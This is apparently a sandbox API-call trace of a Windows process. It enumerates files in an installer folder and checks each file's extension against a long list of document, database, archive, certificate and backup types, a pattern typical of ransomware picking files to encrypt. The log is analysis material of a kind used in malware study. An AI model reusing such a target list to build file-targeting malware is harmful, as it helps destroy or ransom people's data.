	[0060.651] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".html") returned 5
	[0060.651] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0060.651] lstrlenW (lpString=".icb") returned 4
	[0060.651] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".ics") returned 4
	[0060.651] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".iff") returned 4
	[0060.651] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".inc") returned 4
	[0060.651] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".indd") returned 5
	[0060.651] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0060.651] lstrlenW (lpString=".ini") returned 4
	[0060.651] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".iqy") returned 4
	[0060.651] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".j2c") returned 4
	[0060.651] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".j2k") returned 4
	[0060.651] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0060.651] lstrlenW (lpString=".java") returned 5
	[0060.651] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0060.651] lstrlenW (lpString=".jp2") returned 4
	[0060.652] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".jpc") returned 4
	[0060.652] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".jpe") returned 4
	[0060.652] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".jpeg") returned 5
	[0060.652] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0060.652] lstrlenW (lpString=".jpf") returned 4
	[0060.652] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".jpg") returned 4
	[0060.652] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".jpx") returned 4
	[0060.652] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".js") returned 3
	[0060.652] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0060.652] lstrlenW (lpString=".jsf") returned 4
	[0060.652] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".json") returned 5
	[0060.652] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0060.652] lstrlenW (lpString=".jsp") returned 4
	[0060.652] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".kdc") returned 4
	[0060.652] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".kmz") returned 4
	[0060.652] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".kwm") returned 4
	[0060.652] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".lasso") returned 6
	[0060.652] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0060.652] lstrlenW (lpString=".lbi") returned 4
	[0060.652] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".lgf") returned 4
	[0060.652] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0060.652] lstrlenW (lpString=".lgp") returned 4
	[0060.653] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".log") returned 4
	[0060.653] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".m1v") returned 4
	[0060.653] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".m4a") returned 4
	[0060.653] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".m4v") returned 4
	[0060.653] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".max") returned 4
	[0060.653] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".md") returned 3
	[0060.653] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0060.653] lstrlenW (lpString=".mda") returned 4
	[0060.653] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".mdb") returned 4
	[0060.653] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".mde") returned 4
	[0060.653] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".mdf") returned 4
	[0060.653] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".mdw") returned 4
	[0060.653] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".mef") returned 4
	[0060.653] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".mft") returned 4
	[0060.653] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".mfw") returned 4
	[0060.653] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".mht") returned 4
	[0060.653] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0060.653] lstrlenW (lpString=".mhtml") returned 6
	[0060.653] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0060.653] lstrlenW (lpString=".mka") returned 4
	[0060.654] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".mkidx") returned 6
	[0060.654] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0060.654] lstrlenW (lpString=".mkv") returned 4
	[0060.654] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".mos") returned 4
	[0060.654] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".mov") returned 4
	[0060.654] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".mp3") returned 4
	[0060.654] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".mp4") returned 4
	[0060.654] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".mpeg") returned 5
	[0060.654] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0060.654] lstrlenW (lpString=".mpg") returned 4
	[0060.654] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".mpv") returned 4
	[0060.654] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".mrw") returned 4
	[0060.654] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".msg") returned 4
	[0060.654] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".mxl") returned 4
	[0060.654] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".myd") returned 4
	[0060.654] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".myi") returned 4
	[0060.654] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".nef") returned 4
	[0060.654] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0060.654] lstrlenW (lpString=".nrw") returned 4
	[0060.654] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".obj") returned 4
	[0060.655] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".odb") returned 4
	[0060.655] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".odc") returned 4
	[0060.655] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".odm") returned 4
	[0060.655] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".odp") returned 4
	[0060.655] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".ods") returned 4
	[0060.655] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".oft") returned 4
	[0060.655] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".one") returned 4
	[0060.655] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".onepkg") returned 7
	[0060.655] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0060.655] lstrlenW (lpString=".onetoc2") returned 8
	[0060.655] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0060.655] lstrlenW (lpString=".opt") returned 4
	[0060.655] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".oqy") returned 4
	[0060.655] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".orf") returned 4
	[0060.655] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".p12") returned 4
	[0060.655] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".p7b") returned 4
	[0060.655] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".p7c") returned 4
	[0060.655] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0060.655] lstrlenW (lpString=".pam") returned 4
	[0060.655] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pbm") returned 4
	[0060.656] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pct") returned 4
	[0060.656] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pcx") returned 4
	[0060.656] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pdd") returned 4
	[0060.656] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pdf") returned 4
	[0060.656] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pdp") returned 4
	[0060.656] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pef") returned 4
	[0060.656] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pem") returned 4
	[0060.656] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pff") returned 4
	[0060.656] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pfm") returned 4
	[0060.656] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pfx") returned 4
	[0060.656] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".pgm") returned 4
	[0060.656] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".php") returned 4
	[0060.656] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0060.656] lstrlenW (lpString=".php3") returned 5
	[0060.656] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0060.656] lstrlenW (lpString=".php4") returned 5
	[0060.656] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0060.656] lstrlenW (lpString=".php5") returned 5
	[0060.656] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0060.656] lstrlenW (lpString=".phtml") returned 6
	[0060.657] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0060.657] lstrlenW (lpString=".pict") returned 5
	[0060.657] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0060.657] lstrlenW (lpString=".pl") returned 3
	[0060.657] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0060.657] lstrlenW (lpString=".pls") returned 4
	[0060.657] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0060.657] lstrlenW (lpString=".pm") returned 3
	[0060.657] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0060.657] lstrlenW (lpString=".png") returned 4
	[0060.657] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0060.657] lstrlenW (lpString=".pnm") returned 4
	[0060.657] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0060.657] lstrlenW (lpString=".pot") returned 4
	[0060.657] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0060.657] lstrlenW (lpString=".potm") returned 5
	[0060.657] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0060.657] lstrlenW (lpString=".potx") returned 5
	[0060.657] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0060.657] lstrlenW (lpString=".ppa") returned 4
	[0060.657] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0060.657] lstrlenW (lpString=".ppam") returned 5
	[0060.657] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0060.657] lstrlenW (lpString=".ppm") returned 4
	[0060.657] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0060.657] lstrlenW (lpString=".pps") returned 4
	[0060.657] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0060.657] lstrlenW (lpString=".ppsm") returned 5
	[0060.657] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0060.657] lstrlenW (lpString=".ppt") returned 4
	[0060.657] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.657] lstrlenW (lpString=".pptm") returned 5
	[0060.657] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0060.657] lstrlenW (lpString=".pptx") returned 5
	[0060.658] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0060.658] lstrlenW (lpString=".prn") returned 4
	[0060.658] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".ps") returned 3
	[0060.658] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0060.658] lstrlenW (lpString=".psb") returned 4
	[0060.658] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".psd") returned 4
	[0060.658] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".pst") returned 4
	[0060.658] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".ptx") returned 4
	[0060.658] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".pub") returned 4
	[0060.658] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".pwm") returned 4
	[0060.658] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".pxr") returned 4
	[0060.658] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".py") returned 3
	[0060.658] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0060.658] lstrlenW (lpString=".qt") returned 3
	[0060.658] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0060.658] lstrlenW (lpString=".r3d") returned 4
	[0060.658] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".raf") returned 4
	[0060.658] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0060.658] lstrlenW (lpString=".rar") returned 4
	[0060.658] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.658] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.659] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0060.659] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0060.659] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0060.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0060.659] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1
	[0060.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0060.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26
	[0060.659] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0570
	[0060.677] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.677] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0060.677] lstrlenW (lpString="eula.rtf") returned 8
	[0060.677] lstrlenW (lpString=".1cd") returned 4
	[0060.677] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.677] lstrlenW (lpString=".3ds") returned 4
	[0060.677] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0060.677] lstrlenW (lpString=".3fr") returned 4
	[0060.677] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0060.677] lstrlenW (lpString=".3g2") returned 4
	[0060.678] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0060.678] lstrlenW (lpString=".3gp") returned 4
	[0060.678] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0060.678] lstrlenW (lpString=".7z") returned 3
	[0060.678] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.678] lstrlenW (lpString=".accda") returned 6
	[0060.678] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0060.678] lstrlenW (lpString=".accdb") returned 6
	[0060.678] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0060.678] lstrlenW (lpString=".accdc") returned 6
	[0060.678] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0060.678] lstrlenW (lpString=".accde") returned 6
	[0060.678] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0060.678] lstrlenW (lpString=".accdt") returned 6
	[0060.678] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0060.678] lstrlenW (lpString=".accdw") returned 6
	[0060.678] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0060.678] lstrlenW (lpString=".adb") returned 4
	[0060.678] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0060.678] lstrlenW (lpString=".adp") returned 4
	[0060.678] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0060.678] lstrlenW (lpString=".ai") returned 3
	[0060.678] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0060.678] lstrlenW (lpString=".ai3") returned 4
	[0060.678] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0060.678] lstrlenW (lpString=".ai4") returned 4
	[0060.678] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0060.678] lstrlenW (lpString=".ai5") returned 4
	[0060.678] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0060.678] lstrlenW (lpString=".ai6") returned 4
	[0060.678] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0060.678] lstrlenW (lpString=".ai7") returned 4
	[0060.678] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0060.678] lstrlenW (lpString=".ai8") returned 4
	[0060.679] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".anim") returned 5
	[0060.679] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0060.679] lstrlenW (lpString=".arw") returned 4
	[0060.679] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".as") returned 3
	[0060.679] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0060.679] lstrlenW (lpString=".asa") returned 4
	[0060.679] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".asc") returned 4
	[0060.679] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".ascx") returned 5
	[0060.679] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0060.679] lstrlenW (lpString=".asm") returned 4
	[0060.679] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".asmx") returned 5
	[0060.679] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0060.679] lstrlenW (lpString=".asp") returned 4
	[0060.679] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".aspx") returned 5
	[0060.679] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0060.679] lstrlenW (lpString=".asr") returned 4
	[0060.679] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".asx") returned 4
	[0060.679] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".avi") returned 4
	[0060.679] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".avs") returned 4
	[0060.679] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0060.679] lstrlenW (lpString=".backup") returned 7
	[0060.679] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0060.679] lstrlenW (lpString=".bak") returned 4
	[0060.679] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".bay") returned 4
	[0060.680] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".bd") returned 3
	[0060.680] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0060.680] lstrlenW (lpString=".bin") returned 4
	[0060.680] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".bmp") returned 4
	[0060.680] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".bz2") returned 4
	[0060.680] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".c") returned 2
	[0060.680] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0060.680] lstrlenW (lpString=".cdr") returned 4
	[0060.680] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".cer") returned 4
	[0060.680] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".cf") returned 3
	[0060.680] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0060.680] lstrlenW (lpString=".cfc") returned 4
	[0060.680] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".cfm") returned 4
	[0060.680] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".cfml") returned 5
	[0060.680] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0060.680] lstrlenW (lpString=".cfu") returned 4
	[0060.680] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".chm") returned 4
	[0060.680] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".cin") returned 4
	[0060.680] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0060.680] lstrlenW (lpString=".class") returned 6
	[0060.680] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0060.681] lstrlenW (lpString=".clx") returned 4
	[0060.681] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0060.681] lstrlenW (lpString=".config") returned 7
	[0060.681] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0060.681] lstrlenW (lpString=".cpp") returned 4
	[0060.681] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
